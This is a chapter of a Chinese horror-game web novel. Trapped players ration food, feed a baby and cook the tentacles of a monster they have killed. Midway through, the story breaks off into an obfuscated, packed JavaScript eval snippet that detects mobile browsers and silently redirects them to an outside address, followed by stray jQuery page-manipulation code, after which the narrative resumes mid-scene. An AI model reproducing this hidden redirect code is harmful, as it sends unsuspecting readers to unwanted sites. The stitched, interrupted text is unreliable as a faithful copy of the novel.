看到遗书之后,就连王国平都想明白怎么回事了。
翟烬没有选择对异常动手,因为异常不一定要消灭,他们的游戏目标是选择正确的方向,走出这里。
三人转身离开卧室,床上的贺胧情绪变得激动,他扯着嗓门挽留:“你们为什么要走?要把我一个人留在这里吗?喂!你们别走啊!”
无人回应。
或许是程序设定,贺胧只能在床上躺着,没有要起来的意思。
出了门,翟烬把刚才发现贺胧是游戏里的一部分这件事告诉给了徐清月和蒋越川。
蒋越川听后如释重负,浮出欣慰的笑容:“这样看来,应该还没有死人,太好了。”
“嗯,这一区域有异常,那我们现在往回走吧。”翟烬带路,先一步往身后的那扇黑门走去。
就在这时,女婴醒了,呜哇哇大哭起来。
徐清月将女婴抱起来,隔着衣服嗅了嗅女婴。
“没有拉粑粑,应该是饿了,我们要找个地方烧水,再用奶粉兑奶。”徐清月一边抱着女婴安抚,一边跟上翟烬的步伐。
一行人往回走,推开黑门来到下一片区域。
“我记得绿屋有电水壶,”翟烬对徐清月说,“还是老样子,你在外面等着,别让孩子看到尸体。”
但这一次,蒋越川却将菜刀拿给陆凌,他解释道:“这次你在外面守着,我和他们一起进去,我记得有个地方藏了饼干,等会顺便找出来吃。”
一进门,他们再次看到挂在吊扇上的尸体。
翟烬去检查卧室的细节,甚至还把包里的遗书和这一区域的遗书逐字进行对比。
蒋越川找到饼干后,用电水壶给女婴烧水,然后站在核对遗书的翟烬身边,庆幸道:“还好这里有水,不然我们就渴死了。”
“嗯……这就是你说的饼干?跟刚才的饼干数量一样吗?”翟烬转移视线看向蒋越川放在桌上的饼干。
只有一小袋,他们五个成年人完全不够。
蒋越川显然没发现翟烬的关注点,他露出浅浅的笑容,气定神闲道:“对,一共三块圆形饼干,我数过的。”
才三块。
现在翟烬有点担心他们会不会饿死在这里了。
似乎察觉到她的神情逐渐严肃,蒋越川随后补充:“只要我们一天多通过几关,就能拿更多饼干。”
蒋越川的话在翟烬听来有些天真。
照这个进度,他们一天最多通过四五个门。
人如果长期处于高度紧张状态,就容易感到疲惫,一旦疲惫就容易忽视细节,错过异常。
况且徐清月还在照顾女婴,他们等于少了一个帮手。
如果短时间内,他们无法逃离这里。
食物,是他们必须要解决的燃眉之急。
因为绿屋的细节较多,半小时后,他们才从绿屋走出来,蒋越川还拿着一个烧完水的电水壶。
徐清月让翟烬帮忙抱孩子,然后席地而坐,开始兑奶。
翟烬手足无措抱着已经睁开眼睛的女婴,女婴仰头好奇地打量她。
又圆又大的眼睛,好可爱。
不过,到底是谁把这么小的孩子弄到这种地方来?
真不是人做的事。
“你抱孩子的姿势好僵硬,像个机器人。”
许久不说话的陆凌冷不丁开口,明显带着调侃的意味。
翟烬以为像陆凌这种高冷男不会开玩笑,没想到他不仅会,还特别嘴坏。
“难道你抱就不像机器人了?”翟烬笑着回怼。
正在摇奶瓶的徐清月看着两人,和一旁的蒋越川八卦:“你看,他们三个像不像三口之家?”
这本来是活跃气氛的玩笑,徐清月却迟迟没等到蒋越川回应。
她若无其事瞥向那个对谁都笑呵呵的蒋越川。
只见他嘴角下压,仿佛在冷笑:“嗯,是挺像的。”
徐清月:……
奶粉融化后,徐清月将女婴从翟烬手中接走,然后悄悄在她耳边问:“你和蒋越川是不是隐瞒了我们一些事?”
翟烬皱了皱眉,毫不犹豫否认:“没有,都什么时候了,我有瞒着你们的必要吗?”
徐清月撅起嘴,显然不信:“哼,不说算了。”
徐清月喂奶的时候,翟烬和众人商量了食物分配问题。
现在他们能找到的食物只有绿屋的三块饼干,为了保证每个人都能存活,在逃出这个地方之前,他们每天都至少要通过五关。
这样才能确保每个人每天都能分到三块饼干。
“这地方没其它食物了吗?”王国平不死心地追问。
翟烬沉默地摇头。
继续工作。
跟刚才一样,他们检查了全是素描的黄屋,存在NPC的蓝屋,就剩红屋还没检查了。
其实他们不一定非要杀死红屋的怪物。
但据陆凌所说,他数了怪物的触须,一共有62条,如果存在异常,怪物触须的数量也许会有变化。
“怪物的攻击方式是什么?”蒋越川看着王国平,“这是体力活,不可能每次都是你上,我们两可以轮着来。”
王国平用手臂模仿怪物触须的攻击方式,然后指了指自己的肩膀:“它的身体里会伸出来一些长条,像鞭子一样挥舞,打人还挺疼的,我被它打到过肩膀。”
蒋越川惊讶地“啊”了一声,紧跟着关心道:“王叔,那你现在还疼吗?”
王国平摆摆手,语气轻松:“没事儿,只有那一下疼,之后就没感觉了。”
于是蒋越川自告奋勇:“那这次杀红屋的怪物就交给我,你休息一局。”
他手握菜刀,和翟烬、王国平一起走进红屋。
上一关,他们进门的时候都没发现怪物是怎么从天花板上出现的。
这次他们看到了。
天花板上有一团圆形的黑色印记,就像霉菌一般依附在上面。
他们进门以后,黑色印记逐渐由二维变成三维。
这个过程,就仿佛从天花板里面钻出来似的。
“要开始了,你站它下面会好砍一些,如果觉得危险,就让我来。”王国平略微担心蒋越川的能力,在他看来这个胆小的年轻人可能连鱼都没杀过。
他的担心并不多余。
怪物伸出触须发起进攻的时候,蒋越川被它抽到过好几次,应该挺疼的,翟烬听到他不断抽气的声音。
幸运的是,怪物好像是不能移动的,它的攻击范围不包括站在门边的他们。
眼看蒋越川就要撑不住了,但他却没有要躲开的意思,又硬生生地挨了几次鞭打。
“蒋越川你过来,我也想试一试怎么砍它。”翟烬给了他一个台阶下,蒋越川很听话,也迅速朝门口跑过来。
“你要去?”王国平微张嘴巴,“小翟,你别逞强啊。”
在王国平眼里,翟烬和她女儿差不多岁数,这个年龄段的女孩子看到这种怪物没吓得昏过去都算好的,翟烬居然说她要上。
翟烬没和王国平多说,接过那把菜刀后,又冲进了怪物的攻击范围。
怪物挥舞触须的速度极快,一不小心翟烬就被它抽了一鞭。
但翟烬是谁?
恐游
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127243|196139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
区头部UP!
在游戏里,只要熟悉了BOSS的出击速度和方式,BOSS就会瞬间变成弟弟。
在挨了几次毒打后,翟烬不仅能完全躲开它的每一次攻击,还能趁着怪物攻击她的时候,挥刀砍下它的触手。
几次下来,躲避、挥刀的动作就如流水线一般,被她运用得惟妙惟肖。
王国平向翟烬投去赞许的目光:“小翟的反应速度真快,我还以为她会被打哭呢——哦对了,你刚刚被打疼了没有?”
蒋越川面露尴尬,缓缓摇头:“还好,一开始疼,后来打多了就不疼了。”
王国平知道男人都爱面子,不愿意让别人看到脆弱的一面,于是也没有再多问。
随着地上被砍下的触须越来越多,王国平一拍脑门,突发奇想:“这些触须可不可以吃?”
这些触须虽然都是古怪的黑色,但仔细一看就会发现它们和鱿鱼须特别相似,都有吸盘。
“我觉得可以吃!”
翟烬一边对怪物进行砍杀,一边若无其事回头朝他们笑了笑。
游戏里,都是怪物吃玩家。
为了活命,这波他们要倒反天罡!
蒋越川低头瞅了眼被怪物黏液浸泡的黑色触须。
光滑的表皮上有一圈圈大大小小的环节,仔细一看,像极了蚯蚓。
他有点犯恶心,但还是附和着翟烬:“嗯,应该可以吃。”
几分钟后,翟烬砍下怪物的最后一根触须。
跟上次一样,怪物失去所有的触须后从天花板坠落,摔烂成了一坨烂肉。
“这肉可以拿来做红烧肉。”王国平指着那一团黑红色的物质,“我是厨师,味道方面你们不用担心。”
蒋越川听后,面色比刚才还要难看。
翟烬数完所有触须,一共62条,和陆凌说的一样。
她再检查了这个房间的其它细节,同样没找到异常。
至此,这一区域的所有房间他们都检查完毕,没找到异常。
“等把饭吃了,我们再往前走。”
从红屋出来后,翟烬向其他人宣布了要吃怪物肉的消息。
虽然感到恶心,但没人反驳翟烬的提议,因为大家都知道他们最重要的目标是活下去,只要能填饱肚子,他们什么都能吃。
王国平拿着“食材”去蓝屋做饭,一众人有的在里面守着他,有的在蓝屋外面闲聊。
徐清月抱着孩子提议:“出去以后我们几个加好友,我拉个群,没事就出来聚餐。”
蒋越川飞快看了翟烬一眼,连连附和:“行,要不现在我们把对方的微信号记备忘录上面,等出去有网了就加,免得到时候忘了这事儿。”
三人分别记下对方的微信号,翟烬拿着手机去找蓝屋的陆凌和王国平。
刚推开门,她就闻到一股浓烈的炖肉香气,勾得她疯狂分泌唾沫。
“好香啊,已经开始在做了?”
陆凌让开一条道,方便翟烬进入厨房。
王国平回身看了她一眼:“嗯,这鬼地方做菜的作料倒是挺齐全,以后我可以换着花样给你们做吃的,你们放心,这些作料我也刻意记过了,没问题。”
言罢,他娴熟地切肉、麻料,动作干净利索,一看就是长期在后厨忙活的人。
翟烬默默看着这一幕,心想他们队伍可真是人才辈出,有会带孩子的,有武力输出,脑力输出,甚至还有厨师,就像陆凌说的那样,他们也许真是被筛选出来做“游戏”的。
——不对。
那蒋越川是什么定位?
提供情绪价值的?